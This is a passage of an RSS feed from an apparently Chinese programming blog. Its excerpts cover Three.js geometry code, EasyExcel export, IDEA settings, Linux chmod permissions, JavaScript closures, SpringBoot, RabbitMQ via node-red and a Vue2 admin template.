      <description>// 物体最外圈加线框(被挖洞或者被切的物体都可以)&#xA;addEdge(mesh: THREE.Mesh) {&#xA;let allVertices = [];&#xA;let vertices: THREE.Vector3[] = [];&#xA;// 物体最高点&#xA;let height = GlobalApi.mDangQianLouCeng.mCabinetClass.mCurUnit.H / 10;&#xA;for (let i = 0; i &amp;lt; mesh.geometry.attributes.position.array.length; i += 3) {&#xA;allVertices.push(new THREE.Vector3(mesh.geometry.attributes.position.array[i], mesh.geometry.attributes.position.array[i + 1], mesh.geometry.attributes.position.array[i + 2]));&#xA;}&#xA;// 此处每次提一个面的三个点，判断这三个点的y值是否等于最高点，如果是，就把这三个点放到vertices数组中(取mesh的最高面)&#xA;for (let i = 0; i &amp;lt; allVertices.length; i += 3) {&#xA;if (allVertices[i].y == height &amp;amp;&amp;amp; allVertices[i + 1].y == height &amp;amp;&amp;amp; allVertices[i + 2].</description>
    </item>
    <item>
      <title>【EasyExcel实践】万能导出，一个接口导出多张表以及任意字段（可指定字段顺序）-简化升级版</title>
      <link>https://bchobby.github.io/posts/d521ce094638aa88c7a898c72ab3713f/</link>
      <pubDate>Thu, 21 Dec 2023 18:39:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d521ce094638aa88c7a898c72ab3713f/</guid>
      <description>文章目录 前言正文一、项目简介二、核心代码2.1 pom.xml 依赖配置2.2 ExcelHeadMapFactory2.3 ExcelDataLinkedHashMap2.4 自定义注解 ExcelExportBean2.5 自定义注解 ExcelColumnTitle2.6 建造器接口 Builder2.7 表格工具类 ExcelUtils2.8 GsonUtil2.9 模版类 ExportDynamicColumnTemplate2.10 模版建造器 ExportDynamicColumnTemplateBuilder 三、控制器&amp;amp;调试Bean的定义3.1 StudentDemo3.2 NameAndFactoryDemo3.3 控制器 ExcelDemoController 四、启动类五、测试 前言 关于万能导出，前一阵子写过一个，功能是实现了的。&#xA;就是在使用时，感觉如果需要导出的页面比较多，那就会出现比较多的重复代码。就想着优化+简化一下，能够更方便的使用。&#xA;原版代码仓库和这一版的代码仓库相同：&#xA;https://gitee.com/fengsoshuai/excel-demo&#xA;原版中额外增加了转换器，枚举转换等功能，但是总觉得会让整体功能变复杂，所以在这一版中就去掉了。如果有兴趣看看的话，可以切换到master分支查看。&#xA;简化升级的这一版的代码分支是：simple-dynamic-column-export&#xA;正文 一、项目简介 本次简化升级，本着对使用者友好的目的去实现的。&#xA;另外，本文会粘贴全部代码！！&#xA;在使用上的简化体现在真正导出时，只需要几行代码，就能实现功能。可以让你更加专注于业务参数的组装。而且代码比较简洁。&#xA;举个例子：&#xA;@GetMapping(&#34;/exportDy&#34;) public String exportDy(@RequestParam(&#34;table&#34;) List&amp;lt;String&amp;gt; table, HttpServletResponse response) throws IOException { // 构造导出模版 ExportDynamicColumnTemplate&amp;lt;StudentDemo&amp;gt; dynamicColumnTemplate = new ExportDynamicColumnTemplateBuilder&amp;lt;&amp;gt;(StudentDemo.class) .columnNameList(table) .build(); // 制造假数据 dynamicColumnTemplate.appendExportDataList(studentDemos()); // 转换为excel的字节数组 byte[] bytes = dynamicColumnTemplate.toExcelByteArray(); // 响应到web String fileName = System.</description>
    </item>
    <item>
      <title>es5版本(旧版)Threejs添加hdr天空图</title>
      <link>https://bchobby.github.io/posts/c97f3fbef6037b3b15205110a8dda6a5/</link>
      <pubDate>Thu, 21 Dec 2023 18:36:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c97f3fbef6037b3b15205110a8dda6a5/</guid>
      <description>function changeEnvMap(url) {&#xA;var loader99 = new THREE.RGBELoader();&#xA;loader99.load(url, function (texture) {&#xA;texture.encoding = THREE.RGBEEncoding;&#xA;texture.minFilter = THREE.NearestFilter;&#xA;texture.magFilter = THREE.NearestFilter;&#xA;texture.flipY = true;&#xA;var cubeGenerator = new THREE.EquirectangularToCubeGenerator(texture, { resolution: 1024 });&#xA;cubeGenerator.update(renderer);&#xA;var pmremGenerator = new THREE.PMREMGenerator(cubeGenerator.renderTarget.texture);&#xA;pmremGenerator.update(renderer);&#xA;var pmremCubeUVPacker = new THREE.PMREMCubeUVPacker(pmremGenerator.cubeLods);&#xA;pmremCubeUVPacker.update(renderer);&#xA;// var envMap = pmremCubeUVPacker.CubeUVRenderTarget.texture;&#xA;pmremGenerator.dispose();&#xA;pmremCubeUVPacker.dispose();&#xA;scene.environment = cubeGenerator.renderTarget;&#xA;scene.background = cubeGenerator.renderTarget;&#xA;});&#xA;}</description>
    </item>
    <item>
      <title>Arm汇编在线仿真及编辑器</title>
      <link>https://bchobby.github.io/posts/fc0855a2dfab6cd1e8cda406c66a0ece/</link>
      <pubDate>Thu, 21 Dec 2023 18:21:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc0855a2dfab6cd1e8cda406c66a0ece/</guid>
      <description>可以支持多个不同Arm硬件的在线编辑器。支持单步调试、设置断点。&#xA;CPUlator Computer System Simulator</description>
    </item>
    <item>
      <title>软件工程：软件需求规格说明书</title>
      <link>https://bchobby.github.io/posts/ac8d848089fc85963d7ebc4343ec80c2/</link>
      <pubDate>Thu, 21 Dec 2023 17:05:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac8d848089fc85963d7ebc4343ec80c2/</guid>
      <description>常用软件需求规格说明书模板&#xA;完整版 开发较大的软件或者需求时可以采用下面的模板：ISO2006模板&#xA;参考示例&#xA;示例1&#xA;敏捷开发 若采用敏捷开发的方式迭代，可以使用本文绑定的资源【软件需求规格说明书】。见文档最上方</description>
    </item>
    <item>
      <title>复制代码到 IDEA 中复制的每行代码前多了两个空格缩进解决</title>
      <link>https://bchobby.github.io/posts/64ebe44af3d51c3d582e7cfa25d0b841/</link>
      <pubDate>Thu, 21 Dec 2023 16:48:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64ebe44af3d51c3d582e7cfa25d0b841/</guid>
      <description> 遇到的问题：&#xA;当在 notepad++ 里复制了如下 xml 内容：&#xA;&amp;lt;/DeployMetadata&amp;gt; &amp;lt;Version&amp;gt;1111&amp;lt;/Version&amp;gt; &amp;lt;BOSVersion&amp;gt;1.0&amp;lt;/BOSVersion&amp;gt; &amp;lt;BizunitId&amp;gt;222&amp;lt;/BizunitId&amp;gt; &amp;lt;/DeployMetadata&amp;gt; 然后粘贴到 IDEA 中时变成了：&#xA;&amp;lt;/DeployMetadata&amp;gt; &amp;lt;Version&amp;gt;1111&amp;lt;/Version&amp;gt; &amp;lt;BOSVersion&amp;gt;1.0&amp;lt;/BOSVersion&amp;gt; &amp;lt;BizunitId&amp;gt;222&amp;lt;/BizunitId&amp;gt; &amp;lt;/DeployMetadata&amp;gt; 可以发现原来的空格缩进是 2 个，现在变成了 4 个 。&#xA;这还只是复制了几行代码，如果复制很长的 xml 或代码到 IDEA 中，势必会导致所有缩进都增加，导致代码变乱，如果通过 git 提交上去，会造成版本管理不便，即使你没改动的代码，提交记录上也会显示多余的空格缩进。&#xA;解决办法：&#xA;idea 中右下角点击 spaces ，选择 Configure Indents for XML…&#xA;在弹出的设置窗口将 Indent 缩进、Continuation Indent 连续缩进 都改成 2&#xA;设置好后重新复制代码到 idea 中就不会有多余的缩进空格了。 </description>
    </item>
    <item>
      <title>Linux权限（chmod、600、644、700、711、755、777、4755、6755、7755）suid、sgid、sticky详解</title>
      <link>https://bchobby.github.io/posts/c8fb087c54b7c3c5a4022c7bf5931635/</link>
      <pubDate>Thu, 21 Dec 2023 16:47:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8fb087c54b7c3c5a4022c7bf5931635/</guid>
      <description>权限详解 1、Linux系统上对文件的权限有着严格的控制，如果想对某个文件执行操作，必须具有对应 的权限方可执行成功。&#xA;2、Linux下文件的权限类型一般包括读，写，执行。对应字母为 r、w、x 、等&#xA;3、Linux下权限的粒度有 拥有者 、群组 、其它组 三种。每个文件都可以针对三个粒度，设 置不同的rwx(读写执行)权限。通常情况下，一个文件只能归属于一个用户和组， 如果其 它的用户想有这个文件的权限，则可以将该用户加入具备权限的群组，一个用户可以同 时归属于多个组。&#xA;4、Linux文件的三种特殊权限分别是：suid权限、sgid权限、sticky权限；其中suid权限作用 于文件属主，sgid权限作用于属组上，sticky权限作用于other其他上。&#xA;Linux通常使用chmod命令对文件的权限进行设置和修改。&#xA;一、chmod使用 一般使用格式如下： chmod [可选项] &amp;lt;mode&amp;gt; &amp;lt;file...&amp;gt; 可选项为： 可选参数 mode为： 对应需要添加的权限 file： 添加权限的文件 参数说明： -c, --changes like verbose but report only when a change is made（大概意思就是若 该档案权限确实已经更改，才显示其更改动作） -f, --silent, --quiet suppress most error messages（若该文件权限无法被更改也不要显示错误讯 息） -v, --verbose output a diagnostic for every file processed （显示权限变更情况） --no-preserve-root do not treat &#39;/&#39; specially (the default) --preserve-root fail to operate recursively on &#39;/&#39; --reference=RFILE use RFILE&#39;s mode instead of MODE values -R, --recursive change files and directories recursively （递归地更改文件和目录） --help 显示此帮助信息并退出 --version 显示版本信息并退出 [mode] 权限设定字串，详细格式如下 ： [ugoa][[+-=][rwxX] 其中 [u 、g、o、a]释义： u 表示所有者， g 表示所属组(group)者， o 表示其他以外的人， a 表示所有（包含上面三者）。 [+、-、=]释义： + 表示增加权限， - 表示取消权限， = 表示唯一设定权限。 [rwxX] r 表示可读取， w 表示可写入， x 表示可执行， X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。 [file.</description>
    </item>
    <item>
      <title>前端闭包的高级用法</title>
      <link>https://bchobby.github.io/posts/44a19ccf54edcac32b991c5a99857625/</link>
      <pubDate>Thu, 21 Dec 2023 16:35:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44a19ccf54edcac32b991c5a99857625/</guid>
      <description>什么是闭包？ 闭包的意思其实就是在一个函数内部定义另一个函数(函数嵌套函数)，并返回这个内部函数。这样，内部函数就形成了一个闭包，可以访问外部函数的变量和参数。&#xA;function outFunction(){ let outValue = &#34;这是一个闭包&#34;; function innerFunction(){ console.log(outValue); } return innerFunction; } const closure = outFunction(); closure(); // 输出 &#34;这是一个闭包&#34; 在前端开发中，主要有五大作用&#xA;保护变量 闭包可以用于保护变量，让他在外部无法直接访问或者修改。通过闭包，我们可以创建私有变量，只能通过内部函数来访问和修改。&#xA;function creatCounter(){ let count = 0; return { increment: function(){ count++; }, decrement: function(){ count--; }, getCount: function(){ return count; } } } const counter = creatCounter(); console.log(counter.getCount()); // 0 counter.increment(); counter.increment(); console.log(counter.getCount()); // 2 counter.decrement(); console.log(counter.getCount()); // 1 数据封装 闭包可以用于数据封装，通过创建私有变量和公共方法，实现对数据的封装和访问。&#xA;function createPerson(name,age){ let _name = name; let _age = age; return { getName: function(){ return _name; }, getAge: function(){ return _age; }, setName: function(newValue){ _name = newValue; }, setAge: function(newValue){ _age = newValue; } } } const person = createPerson(&#34;</description>
    </item>
    <item>
      <title>【SpringBoot快速入门】(4)SpringBoot项目案例代码示例</title>
      <link>https://bchobby.github.io/posts/2810f8ed71c115d431d469b13622ad43/</link>
      <pubDate>Thu, 21 Dec 2023 16:16:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2810f8ed71c115d431d469b13622ad43/</guid>
      <description>目录 1 创建工程3 配置文件4 静态资源 之前我们已经学习的Spring、SpringMVC、Mabatis、Maven，详细讲解了Spring、SpringMVC、Mabatis整合SSM的方案和案例，上一节我们学习了SpringBoot的开发步骤、工程构建方法以及工程的快速启动，从这一节开始，我们开始学习SpringBoot配置文件。接下来，我们逐步开始学习，本教程所有示例均基于Maven实现，如果您对Maven还很陌生，请移步本人的博文《如何在windows11下安装Maven并配置以及 IDEA配置Maven环境》&#xA;SpringBoot 到这就已经学习完毕，接下来我们将学习 SSM 时做的三大框架整合的案例用 SpringBoot 来实现一下。我们完成这个案例基本是将之前做的拷贝过来，修改成 SpringBoot 的即可，主要从以下几部分完成&#xA;pom.xml&#xA;配置起步依赖，必要的资源坐标(druid)application.yml&#xA;设置数据源、端口等配置类&#xA;全部删除dao&#xA;设置@Mapper测试类页面&#xA;放置在resources目录下的static目录中 1 创建工程 创建 SpringBoot 工程，在创建工程时需要勾选 web 、 mysql 、 mybatis ，工程目录结构如下&#xA;由于我们工程中使用到了 Druid ，所以需要导入 Druid 的坐标&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;druid&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.1.16&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2 代码拷贝&#xA;将 springmvc_11_page 工程中的 java 代码及测试代码连同包拷贝到 springboot_09_ssm 工程，按照下图进行拷贝&#xA;需要修改的内容如下：&#xA;Springmvc_11_page 中 config 包下的是配置类，而 SpringBoot 工程不需要这些配置类，所以这些可以直接删除dao 包下的接口上在拷贝到 springboot_09-ssm 工程中需要在接口中添加 @Mapper 注解BookServiceTest 测试需要改成 SpringBoot 整合 junit 的 @SpringBootTest public class BookServiceTest { @Autowired private BookService bookService; @Test public void testGetById(){ Book book = bookService.</description>
    </item>
    <item>
      <title>Threejs mesh中的点绕指定轴旋转</title>
      <link>https://bchobby.github.io/posts/14e14b822adb446d5a54ad70c702a52d/</link>
      <pubDate>Thu, 21 Dec 2023 15:37:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14e14b822adb446d5a54ad70c702a52d/</guid>
      <description>//获取start---&amp;gt;end的向量&#xA;function rotateSpecifiedAxis（mesh:THREE.Mesh）{&#xA;let vertices = [];&#xA;for (let i = 0; i &amp;lt; mesh.geometry.attributes.position.array.length; i += 3) {&#xA;vertices.push(new THREE.Vector3(mesh.geometry.attributes.position.array[i], mesh.geometry.attributes.position.array[i + 1], mesh.geometry.attributes.position.array[i + 2]));&#xA;}&#xA;let box = new THREE.Box3().setFromObject(mesh)&#xA;let center = new THREE.Vector3()&#xA;box.getCenter(center);&#xA;// 此处定义指定轴（起点-----&amp;gt;终点）&#xA;let axis = new THREE.Vector3(this.m_vEnd.x, this.m_vEnd.y, this.m_vEnd.z).sub(new THREE.Vector3(this.m_vStart.x, this.m_vStart.y, this.m_vStart.z)).normalize();&#xA;//将所有点绕start---&amp;gt;end的向量旋转90度&#xA;vertices.forEach((item, index) =&amp;gt; {&#xA;item.applyMatrix4(new THREE.Matrix4().makeTranslation(-center.x, 0, -center.z));&#xA;item = item.applyAxisAngle(axis, Math.PI / 2);&#xA;})&#xA;}</description>
    </item>
    <item>
      <title>【IntelliJ IDEA】打开项目Git突然无法识别解决方案</title>
      <link>https://bchobby.github.io/posts/af449fa318cd9f21ae64466ad0043d85/</link>
      <pubDate>Thu, 21 Dec 2023 15:16:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af449fa318cd9f21ae64466ad0043d85/</guid>
      <description>这个问题也是我今天突然偶尔遇到的，当时没在意，项目打开之后又关闭，后来很久才又打开，发现项目明明有git版本控制的，咋突然开发工具右下角没有标识了，然后检查了一下git配置还报错了。&#xA;其实从图上我们可以看出来一些问题，他意思是说不能执行git命令，在安全模式上。我顿时豁然开朗，好像当初打开项目的时候，Idea总是会提示弹出一个窗口，让我们选按钮，我当时可能没注意，就点了中间那个Peview in Safe Mode 意思就是在安全模式下查看。而我们正常要选第一个Trust Project 意思是 信任项目。&#xA;解决方法 那如何解决这个问题呢，既然进入了安全模式了，那我们只要退出安全模式应该就可以了。其实解决方法也很简单，你们按照我下面这些步骤来就能解决。&#xA;在 IntelliJ IDEA 中取消安全模式（safe mode）的方法如下：&#xA;打开 IntelliJ IDEA。点击菜单栏的 “File” 或者 “File” 图标，选择 “Exit Safe Mode”。 如果你使用的是最新版本的 IntelliJ IDEA，直接随便去项目中点击任何一个文件，然后观察右上角是否有这一行字跳出来，如图所示。&#xA;直接点击Trust Project 就完事，IntelliJ IDEA会重新构建就正常了。&#xA;需要注意的是，安全模式主要用于解决某些特定的问题，例如插件冲突、配置文件损坏等。在正常情况下，我们并不需要手动退出安全模式。如果你遇到了需要退出安全模式的情况，可以按照上述方法进行操作。</description>
    </item>
    <item>
      <title>网站数据统计基础：PV、UV与IP的解读</title>
      <link>https://bchobby.github.io/posts/918f822fa8bcf5a899e2f2717fbc26cd/</link>
      <pubDate>Thu, 21 Dec 2023 15:11:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/918f822fa8bcf5a899e2f2717fbc26cd/</guid>
      <description>在数字时代，了解和分析网站流量至关重要。无论是新手网站所有者还是资深市场分析师，掌握如何解读网站的PV、UV和IP等指标对于评估网站表现、优化用户体验和制定有效市场策略都是必不可少的。以下是对这三个关键指标的详细介绍。&#xA;文章目录 1. PV（Page View）- 页面浏览量2. UV（Unique Visitor）- 独立访客3. IP（Internet Protocol Address）- 网络协议地址结语 1. PV（Page View）- 页面浏览量 定义: PV代表页面浏览量或点击量，它计算了一个特定页面在一定时间内被访问的次数。&#xA;重要性: PV的高低直接反映了网站内容的吸引力和用户活跃程度。通过分析PV，可以了解哪些内容最受欢迎，哪些页面需要改进，从而做出相应的调整和优化。&#xA;注意点: 虽然高PV通常被视为积极的指标，但如果大量访问是由自动刷新或单一用户的频繁点击造成的，那么它可能并不代表真实有效的用户参与。因此，PV应与其他指标如UV结合起来看。&#xA;2. UV（Unique Visitor）- 独立访客 定义: UV指在一定时间范围内访问网站的独立访客数，通常通过跟踪cookies或用户ID来识别。&#xA;重要性: UV是衡量网站覆盖面和吸引新用户能力的重要指标。与PV相比，UV可以提供更准确的用户数量估计，帮助你了解实际的用户基数和市场覆盖范围。&#xA;注意点: 由于用户可能会更换设备或删除cookies，UV计算可能不完全精确。此外，一个UV可能浏览多个页面产生多个PV，因此UV和PV应该一起分析，以获得更全面的网站使用情况。&#xA;3. IP（Internet Protocol Address）- 网络协议地址 定义: 每个上网的设备都有一个独一无二的IP地址，网站通过统计不同的IP地址来了解其服务的覆盖范围和访问者的地理分布。&#xA;重要性: IP统计不仅可以帮助你了解网站的地理覆盖情况，还可以监测和防范异常流量，如DDoS攻击等。&#xA;注意点: 由于多个用户可能共享同一个IP地址（例如在同一个家庭或公司内），IP数并不完全等同于用户数。此外，IP地址可能会被隐藏或更改，因此它只能作为参考而非绝对精确的指标。&#xA;结语 PV、UV和IP是网站数据分析中的基础，但它们只是众多指标中的一部分。有效的数据分析需要综合多种指标，并结合网站的具体情况和目标进行。理解这些基本概念是走向更深入分析的第一步，随着经验的积累，你将能够更准确地解读这些数据，更好地推动网站的成长和成功。</description>
    </item>
    <item>
      <title>最新基于Citespace、vosviewer、R语言的文献计量学可视化分析技术及全流程文献可视化SCI论文高效写作方法</title>
      <link>https://bchobby.github.io/posts/1cf3b415d9bee38c4083f049098279e2/</link>
      <pubDate>Thu, 21 Dec 2023 14:44:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cf3b415d9bee38c4083f049098279e2/</guid>
      <description>文献计量学是指用数学和统计学的方法，定量地分析一切知识载体的交叉科学。它是集数学、统计学、文献学为一体，注重量化的综合性知识体系。特别是，信息可视化技术手段和方法的运用，可直观的展示主题的研究发展历程、研究现状、研究热点和发展态势。Citespace和vosviewer是使用最广泛的文献信息可视化软件工具，在理工、经管、法学、教育、农学、文史、医学、艺术等学科中普遍应用，发文量逐年显著上升。本课程将采用理论与实践相结合，通过文献计量学讲解、高效选题、数据库检索数据下载、软件使用等八个专题详细讲解，让学员系统全面的掌握文献计量学的基本理论和知识；熟练掌握Citespace和vosviewer及R语言文献可视化分析技术；最终实现从主题确定、数据分析绘图、文章框架与写作，全流程掌握一篇文献信息可视化分析报告（论文）的思路逻辑与技术方法。&#xA;专题一&#xA;文献计量学方法与应用简介&#xA;1.文献计量学方法基本介绍&#xA;2.与其他综述方法区别联系&#xA;3.各学科领域应用趋势近况&#xA;4.主流分析软件优缺点对比&#xA;专题二&#xA;主题确定、检索与数据采集&#xA;1.热点主题高效选择方法&#xA;2.目标主题可行性预判&#xA;3.CNKI数据库检索式构建&#xA;4.CNKI数据导出方法与注意事项&#xA;5.WOS数据库检索式构建&#xA;6.WOS数据导出与注意事项&#xA;专题三&#xA;VOSviewer可视化绘图精讲&#xA;【案例+实践】&#xA;1.Vosviewer界面与主要概念简介&#xA;2.WOS与CNKI数据导入&#xA;3.共被引网络图绘制与解读关键&#xA;4.叠加网络图绘制与解读关键&#xA;5.密度图绘制与解读关键&#xA;6.关键词合并方法与注意事项&#xA;7.VOSviewer与Pajek耦合展示&#xA;专题四&#xA;Citespace可视化绘图精讲&#xA;【案例+实践】&#xA;1.CiteSpace版面与主要概念介绍&#xA;2.WOS与CNKI数据导入、清洗方法&#xA;3.学科分布图绘制参数选择与解读&#xA;4.共现网络图绘制参数选择与解读&#xA;5.聚类图绘制参数选择与解读&#xA;6.突现图绘制参数选择与解读&#xA;7.时间线图绘制参数选择与解读&#xA;部分结果展示&#xA;专题五&#xA;R语言文献计量学绘图分析&#xA;【案例+实践】&#xA;1.R包安装调用、数据加载与过滤&#xA;2.发文趋势及引用分析与解读&#xA;3.文献来源分析与解读&#xA;4.合作网络分析与解读&#xA;5.文献分析与解读&#xA;6.关键词分析与解读&#xA;7.国家出版密度及合作分析与解读&#xA;部分结果展示&#xA;专题六&#xA;论文写作&#xA;1 典型结构模式剖析&#xA;2 软件搭配组合技巧&#xA;3 图表搭配组图策略&#xA;4 定向文献参考套路&#xA;5 模块化写作思路&#xA;专题七&#xA;论文投稿&#xA;1 期刊选择方法&#xA;2 投稿前准备工作&#xA;3 投稿过程注意事项&#xA;4 文献计量学常见审稿意见</description>
    </item>
    <item>
      <title>node-red：使用node-red-contrib-amqp节点，实现与RabbitMQ服务器(AMQP)的消息传递</title>
      <link>https://bchobby.github.io/posts/46b499595270bd4d7341599e96f877b9/</link>
      <pubDate>Thu, 21 Dec 2023 14:44:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46b499595270bd4d7341599e96f877b9/</guid>
      <description>node-red-contrib-amqp节点使用 一、简介1.1 什么是AMQP协议?1.2 什么是RabbitMQ? -&amp;gt; 开源的AMQP协议实现1.3 RabbitMQ的WEB管理界面介绍1.3 如何实现RabbitMQ的数据采集? -&amp;gt; node-red 二、node-red-contrib-amqp节点安装与使用教程2.1 节点安装2.2 节点使用2.2.1 amqp-broker节点2.2.2 amqp-in节点2.2.3 amqp-in-manual-ack节点2.2.4 amqp-out节点 回到目录&#xA;一、简介 1.1 什么是AMQP协议? AMQP，即 Advanced Message Queuing Protocol（高级消息队列协议），是一个网络协议，是应用层协议的一个开放标准，为面向消息的中间件设计。基于此协议的客户端与消息中间件可传递消息，并不受客户端/中间件不同产品，不同的开发语言等条件的限制。&#xA;AMQP的主要特征是面向消息、队列、路由（包括点对点和发布/订阅）、可靠性、安全。AMQP协议更多用在企业系统内对数据一致性、稳定性和可靠性要求很高的场景，对性能和吞吐量的要求还在其次。&#xA;详细内容参考链接：RabbitMQ系列四 AMQP协议介绍&#xA;回到目录&#xA;1.2 什么是RabbitMQ? -&amp;gt; 开源的AMQP协议实现 RabbitMQ是一个开源的AMQP协议实现，是在AMQP基础上完整的，可复用的企业消息系统。学习参考链接如下：&#xA;rabbitMQ官网RabbitMQ 详解：环境搭建教程 1.3 RabbitMQ的WEB管理界面介绍 一、总界面&#xA;connections：无论生产者还是消费者，都需要与RabbirMQ建立连接后才可以完成消息的生产和消费，在这里可以查看连接情况。channels：通道，建立连接后，会形成通道，以消息的投递获取以来通道。Excahnges：较平缓及，用来实现消息的路由。Queues：队列，即消息队列，消息存放在队列中，等待小品非，消费后被移除队列。 二、获取AMQP协议端口&#xA;三、查看交换机和路由&#xA;回到目录&#xA;1.3 如何实现RabbitMQ的数据采集? -&amp;gt; node-red 使用node-red的node-red-contrib-amqp节点，连接到RabbitMQ服务器(AMQP)，以使用路由键从某个主题获取一些消息，实现客户端与消息中间件数据的传递。&#xA;二、node-red-contrib-amqp节点安装与使用教程 2.1 节点安装 node-red安装节点@meowwolf/node-red-contrib-amqp ，基于AMQP协议，实现客户端与消息中间件数据的传递。&#xA;回到目录&#xA;2.2 节点使用 2.2.1 amqp-broker节点 amqp-broker节点是指“AMQP消息代理器”，对应一个RabbitMQ实例，是一种中间件，用于接收、存储和转发消息。&#xA;这里的端口查看，请转至上节《1.3 RabbitMQ的WEB管理界面介绍》&#xA;2.2.2 amqp-in节点 该节点能连接到AMQP代理并获取消息，已msg.payload的形式输出，输出格式如下：&#xA;节点使用说明如下：&#xA;其中Exchange Info（交换信息）需要根据RabbitMQ中的实际情况进行配置：&#xA;type：指的是AMQP的消息路由方式，定义了消息如何从一个发送到AMQP消息代理（broker）的交换机（exchange）路由到一个或多个队列。有topic、direct、fanout和headers四种类型。 以下是这四种类型的简要说明：</description>
    </item>
    <item>
      <title>给模型加线框</title>
      <link>https://bchobby.github.io/posts/581e6d054991a32ee9bfb8d2dc4b44fb/</link>
      <pubDate>Thu, 21 Dec 2023 14:31:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/581e6d054991a32ee9bfb8d2dc4b44fb/</guid>
      <description>object.children.forEach(ele=&amp;gt;{&#xA;// 创建线框几何体&#xA;var edges = new THREE.EdgesGeometry(ele.geometry); // 使用网格的几何体创建线框几何体&#xA;// 设置线框的材质&#xA;var lineMaterial = new THREE.LineBasicMaterial({color: 0xffffff}); // 设置线框颜色&#xA;var lineSegments = new THREE.LineSegments(edges, lineMaterial); // 创建线框对象&#xA;lineSegments.material.transparent=true&#xA;lineSegments.material.opacity=0.5&#xA;ele.updateMatrixWorld(true); // 重点！！！&#xA;lineSegments.applyMatrix(ele.matrixWorld); // 重点！！！&#xA;lineSegments.name=&#39;xiankuang&#39;&#xA;scene3D.add(lineSegments)&#xA;})&#xA;删除以上生成的线框：&#xA;for(let i=0;i&amp;lt;scene3D.children.length;i++){&#xA;if(scene3D.children[i].name==&#39;xiankuang&#39;){&#xA;scene3D.remove(scene3D.children[i])&#xA;i--;&#xA;}&#xA;}</description>
    </item>
    <item>
      <title>字符串转文档，文档转字符串。</title>
      <link>https://bchobby.github.io/posts/583cd4b7d54333feb194ffdaf02b9e15/</link>
      <pubDate>Thu, 21 Dec 2023 14:18:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/583cd4b7d54333feb194ffdaf02b9e15/</guid>
      <description>// 字符串转文档方法&#xA;function xmlStr2XmlObj(strXML) {&#xA;var xmlObj = {};&#xA;if (document.all) {&#xA;var xmlDom = new ActiveXObject(&#34;Microsoft.XMLDOM&#34;);&#xA;xmlDom.loadXML(strXML);&#xA;xmlObj = xmlDom;&#xA;} else {&#xA;xmlObj = new DOMParser().parseFromString(strXML, &#34;text/xml&#34;);&#xA;}&#xA;return xmlObj;&#xA;}&#xA;// 转完文档就可以进行方便操作，比如清除文档中的一部分。&#xA;// 例如：清除家具字段&#xA;strXML = xmlStr2XmlObj(strXML);&#xA;$(strXML).find(&#39;Furniture3D&#39;).remove()&#xA;// 若要替换家具字段&#xA;// 替换家具数据操作&#xA;if(mHouseClass.mFurnitureArray.length&amp;gt;0){&#xA;//家具数据&#xA;let new_Furniture3D = mHouseClass.OnSaveFurniture_XML();&#xA;$(strXML).find(&#39;PillarJson&#39;).before(new_Furniture3D)&#xA;}&#xA;// 此时strXML还是文档，现在转字符串&#xA;strXML = strXML.documentElement.innerHTML;&#xA;//最终strXML是一个字符串</description>
    </item>
    <item>
      <title>vue2后台管理系统增删改查模版3</title>
      <link>https://bchobby.github.io/posts/c5ed3857c70ea796ca8428cfa4b0bcd0/</link>
      <pubDate>Thu, 21 Dec 2023 13:55:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5ed3857c70ea796ca8428cfa4b0bcd0/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;div class=&#34;small-user-wrapper&#34;&amp;gt; &amp;lt;!-- 搜索 --&amp;gt; &amp;lt;el-card class=&#34;box-card&#34;&amp;gt; &amp;lt;div class=&#34;filter-container&#34;&amp;gt; &amp;lt;el-form :model=&#34;searchInfo&#34; label-width=&#34;120px&#34;&amp;gt; &amp;lt;Row&amp;gt; &amp;lt;Col :xs=&#34;24&#34; :lg=&#34;6&#34;&amp;gt; &amp;lt;el-form-item label=&#34;用户评价：&#34;&amp;gt; &amp;lt;el-select v-model=&#34;searchInfo.recommend_type&#34; style=&#34;width:100%;&#34; placeholder=&#34;请选择用户评价状态&#34; clearable&amp;gt; &amp;lt;el-option label=&#34;好评&#34; :value=&#34;1&#34;&amp;gt;&amp;lt;/el-option&amp;gt; &amp;lt;el-option label=&#34;差评&#34; :value=&#34;2&#34;&amp;gt;&amp;lt;/el-option&amp;gt; &amp;lt;/el-select&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/Col&amp;gt; &amp;lt;/Row&amp;gt; &amp;lt;el-row type=&#34;flex&#34; justify=&#34;end&#34; style=&#34;margin-bottom:10px;align-items: center;&#34;&amp;gt; &amp;lt;el-button type=&#34;primary&#34; icon=&#34;el-icon-search&#34; style=&#34;margin-right: 10px&#34; @click=&#34;search&#34;&amp;gt;搜索&amp;lt;/el-button&amp;gt; &amp;lt;el-button type=&#34;dange&#34; icon=&#34;el-icon-refresh&#34; style=&#34;margin-right: 10px&#34; @click=&#34;reset&#34;&amp;gt;重置&amp;lt;/el-button&amp;gt; &amp;lt;!-- &amp;lt;el-button type=&#34;primary&#34; style=&#34;margin-right: 10px&#34;&amp;gt;导出&amp;lt;/el-button&amp;gt; --&amp;gt; &amp;lt;!-- &amp;lt;div class=&#34;screen&#34; @click=&#34;more=!more&#34;&amp;gt;{{more?&#39;收起&#39;:&#39;更多&#39;}}筛选&amp;lt;i 